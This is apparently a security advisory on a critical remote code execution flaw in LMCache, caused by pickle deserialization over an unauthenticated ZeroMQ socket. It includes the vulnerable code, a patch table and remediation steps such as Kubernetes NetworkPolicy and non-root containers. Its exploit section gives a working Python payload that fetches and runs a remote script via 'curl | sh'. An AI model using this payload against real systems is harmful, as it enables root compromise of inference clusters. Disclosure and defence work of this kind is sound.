An unauthenticated, maximum-severity remote code execution vulnerability tracked as CVE-2026-105192 (CVSS score 9.8) has been disclosed in LMCache, the popular open-source key-value (KV) caching layer widely used to accelerate Large Language Model (LLM) serving frameworks such as vLLM. The flaw enables remote attackers to execute arbitrary shell commands with root container privileges across distributed AI inference clusters by injecting malicious serialized payloads into unsecured ZeroMQ transport sockets.
Vulnerability Architecture & Insecure Deserialization Root Cause
To optimize throughput during context-heavy generative inference (such as long-context RAG pipelines and multi-agent coordination), LMCache retains KV tensors in high-speed GPU and host memory, transferring cached states across worker processes via a multiprocess (MP) communication subsystem. In multiprocess mode, LMCache initializes an unauthenticated ZeroMQ ROUTER socket (binding by default to TCP port 5555) that receives connection requests from distributed worker instances.
The messaging protocol encapsulates data frames using MessagePack (msgpack). Under standard operation, control metadata and tensor dimensions are decoded using standard msgpack primitives. However, when the deserializer encounters an extension type payload flagged with tag 1, the processing pipeline routes the raw byte buffer directly into DeviceIPCWrapper.Deserialize:
# Vulnerable LMCache multiprocess transport deserialization flow
class MultiprocessServer:
def handle_client_message(self, frames):
# Frame 0: Worker routing identity
# Frame 1: Empty delimiter
# Frame 2: Serialized message buffer
worker_id, _, raw_data = frames
# MessagePack unpacker invokes custom extension hook for tag 1
msg = msgpack.unpackb(raw_data, ext_hook=self.ext_unpack)
return msg
def ext_unpack(self, code, data):
if code == 1:
# CRITICAL DEFECT: Unsafe invocation of Python pickle without validation
return DeviceIPCWrapper.Deserialize(data)
return msgpack.ExtType(code, data)
class DeviceIPCWrapper:
@staticmethod
def Deserialize(data):
# Direct execution of arbitrary serialized Python objects
return pickle.loads(data)
Because the ZeroMQ socket implements neither transport layer encryption (CURVE) nor authentication tokens (ZAP), any network entity capable of transmitting TCP packets to port 5555 can craft a malicious pickle byte sequence. When pickle.loads unpacks the object, Python's __reduce__ magic method executes immediately under the privileges of the inference server daemon—which, in default Docker and Kubernetes GPU runtime configurations, runs as root.
Exploitation Mechanics Across Distributed AI Clusters
While default development instances of LMCache bind strictly to localhost (127.0.0.1), high-performance multi-node clusters and Kubernetes inference pods routinely configure the server with --host 0.0.0.0 or routable pod IPs to permit cross-node cache sharing between GPU workers. When deployed within shared cloud VPCs or enterprise Kubernetes namespaces without network segmentation policies, an attacker who compromises an adjacent web application or prompt-gateway service can initiate unauthenticated RCE on the entire model serving infrastructure:
# Conceptual attack payload dispatch to exposed LMCache ZeroMQ transport
python3 -c "
import zmq, msgpack, pickle, os
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl -s http://10.0.4.18/beacon | sh',))
payload = msgpack.packb(msgpack.ExtType(1, pickle.dumps(Exploit())))
context = zmq.Context()
sock = context.socket(zmq.DEALER)
sock.connect('tcp://10.244.12.85:5555')
sock.send(payload)
"
Technical Comparison & Impact Scope
| Metric / Attribute | Vulnerable Configuration | Remediated State |
|---|---|---|
| CVE Identifier | CVE-2026-105192 / GHSA-w5f2-9q9c-ff4h |
Patched Development Branch / PR #5644 |
| CVSS v3.1 Score | 9.8 (Critical): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Remediated |
| Affected Software Releases | LMCache versions 0.3.9 through 0.5.5, 0.5.6rc |
LMCache ≥ 0.5.6 |
| Transport Protocol Security | Unauthenticated ZeroMQ ROUTER (TCP:5555) | Strict localhost binding & ZeroMQ CURVE authentication |
| Serialization Engine | Arbitrary pickle.loads execution |
Safe structured buffer decoding (Safetensors / Arrow) |
Enterprise Defense & Remediation Playbook
Organizations operating vLLM and LMCache clusters must immediately execute the following defensive measures:
- Deploy Official Patch Builds: Upgrade LMCache to the latest release incorporating the safe IPC serialization redesign, eliminating the invocation of
pickle.loadsin network-facing message handlers. - Enforce Kubernetes NetworkPolicies: Restrict ingress traffic on TCP port
5555strictly to authorized worker pods within the same namespace. Never expose inference transport ports to external load balancers or broader VPC subnets:apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: isolate-lmcache-transport namespace: ai-serving spec: podSelector: matchLabels: app: lmcache-worker ingress: - from: - podSelector: matchLabels: role: authorized-inferencer ports: - protocol: TCP port: 5555 - Drop Container Root Privileges: Reconfigure inference deployment manifests to run containers under non-root service accounts (
runAsNonRoot: true) with read-only root filesystems and dropped capabilities (cap_drop: [ALL]) to blunt the blast radius of any code execution event. - Audit Network Telemetry: Inspect VPC Flow Logs and cluster ingress logs for anomalous inbound connections to TCP 5555 originating from non-worker hosts.



